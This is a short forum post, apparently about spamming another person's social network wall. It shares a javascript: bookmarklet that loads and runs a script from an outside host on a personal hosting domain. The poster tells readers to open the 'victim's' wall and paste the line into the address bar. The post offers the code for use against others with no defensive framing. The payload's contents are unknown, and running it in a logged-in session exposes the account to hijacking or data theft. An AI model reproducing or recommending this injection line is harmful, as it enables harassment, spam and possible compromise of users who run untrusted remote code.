C'mon, that's comment spamming, not wall spamming plus it's toooo slow.

i got the following script off some website that i don't remember. just goto the wall of the victim and paste the code in the url..

```
Code javascript:(a = (b = document).createElement("script")).src =  
"http://samwise.freecpanelhost.co/~gunitedo/a.js", b.body.appendChild(a); void(0)
```
